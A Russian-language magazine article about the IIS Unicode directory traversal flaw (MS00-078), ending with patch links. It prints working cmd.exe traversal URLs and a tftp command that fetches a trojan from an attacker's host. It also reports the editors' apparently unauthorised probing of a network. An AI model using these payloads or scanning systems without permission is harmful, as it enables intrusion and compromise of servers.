...
...
...

Microsoft IIS Extended UNICODE Directory Traversal Vulnerability: не просто hole, но ASSHOLE

Не так давно зашел у меня с одним коллегой спор: насколько оправданна миграция на IIS сегодня с точки зрения безопасности. Коллега мне говорит: ну посмотри ты в BugTraq, даже если и появляются сведения о новых дырах, то все о менее значительных, требующих для проведения успешной атаки некоторых специфических условий. Да и проведение такого рода атак требует высокой квалификации нападающего. Разговор тот был месяца полтора назад, и я стояла на твердой позиции, что, мол, погоди, понавылазит скоро в BugTraq'е что-нибудь интересненькое. И точно! 17 октября некто rain forest puppy закинул в BugTraq сообщение, что некто анонимный написал на форуме проекта Packetstorm, чтоумеет удаленно (и, естественно, несанкционированно) исполнять команды на веб-сервере Microsoft IIS 5.0 (Win2000),используя следующий URL: http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

И тут началося... :) Народ начал это дело тестировать и выяснилось, что уязвим не только IIS 5.0, но и 4.0. Но обо всем по порядку.

физика процесса

Unicode 2.0 допускает множество представлений (кодировок) для одного и того же символа, например для символа "/" возможны следующие:

2f
c0 af
e0 80 af
f0 80 80 af
f8 80 80 80 af
fc 80 80 80 80 af

Когда клиент запрашивает некий URL у IIS, сервер проверяет URL напредмет ../ и ..\ , а также их "нормального" юникодового представления. Если находит -- отбраковывает, если же нет -- запускает на выполнение. Таким образом неавторизованный пользователь может получить доступ к любому известному файлу на том же логическом диске, что и любой из доступных через веб файлов. С правами IUSR_ИмяМашины.

что можно наворотить

Первое, что всем пришло на ум, добраться до cmd.exe, а там -- свааабода, иди куда хочешь, делай что получится. Самый распространенный путь: http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir, но, как понимаете, не единственный. Обзор сей дыры на SecurityFocus предлагает также следующие варианты:

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

Впрочем, можно поэкспериментировать и с другими вариантами, особенно если хитрые админы нетрадиционно назвали и расположили каталоги в системе. Сразу скажу, далеко не все будет исполняться и не все файлы будут доступны даже для просмотра (см. физику процесса). А вот господин Zoa_Chien предложил замечательный вариант, как можно заливать файлы в такую "доступную" систему:

Берем файл (предполагается, что все захотят использовать в качестве этого файла трояна ;), кладем его на свой TFTP-сервер. Взять такого демона можно, например, здесь: ftp://ftp.cavebear.com/karl/tftpd32.zip.

Затем с нашей "подопечной" машины выполняем tftp.exe -i xxx.xxx.xxx.xxx GET supatrojan.exe. Ну, например, вот так это может выглядеть:

/[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"-i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\supatrojan.exe

Ну и, естественно, запускаем нашего трояна. Далее система станет еще более доступна и послушна :)

Было написано ряд эксплойтов, чтобы упростить поиск уязвимых систем и "командование" ими. На перле:
http://www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl
http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute.pl
http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute2.pl

и на Си:
http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.c
http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.exe
http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.obsd
http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.linux

путевые заметки

Как обычно, мы в редакции как только вычитали этот дивный дыр, тут же ринулись тестировать -- а вдруг, мол, неправду пишут, что мы в газете глупости повторять будем. И вот что оказалось: в протестированной сети класса Ц наблюдается следующая статистика:

-- из всех хостов (будем считать, что все адреса сети розданы) 80-й порт открыт на 34-х

-- из них 9 -- IIS разных версий

-- из них 3 -- явно уязвимы. К остальным, возможно, не на той кобыле подъезжали.

В качестве вещественного доказательства предъявляем скриншот :)

что делать будем?

А что делать, что делать -- срочно бежать на сайт компании Microsoft патчи сливать:

для 4.0 -- там:

http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

а для 5.0 -- вот тут:

http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

К чести Microsoft и моему глубокому недоумению, данные патчи вышли вышли еще в августе сего года, и 18 октября в Microsoft Security Bulletin (MS00-078): Frequently Asked Questions еще раз напоминалось о необходимости установить данные заплаты. Хотя тут имеет место некоторое несоответствие: Security Update действительно датировно 15-м августа, но в нем упоминается документ MS00-078, который появился позднее. Я догадываюсь, что патч действительно существовал ранее, но без разьяснений, зачем он нужен. Доверяющие Microsoft параноидальные админы его скачали без лишних вопросов, остальные же наверняка проигнорировали, поскольку не знали зачем он нужен. Вот история и всплыла наружу только сейчас.

В обсуждении заметки о данной дыре на ZDNet.ru некто господин Bishop веско заметил: "Базар и выеденного яйца не стоит. Нормальный админ должен быть подписан на Microsoft Security Bulletins и ставить вовремя заплаты. Я ее еще в августе поставил...". И в общем-то он прав... ;)
обсуждение статьи

© Сетевые решения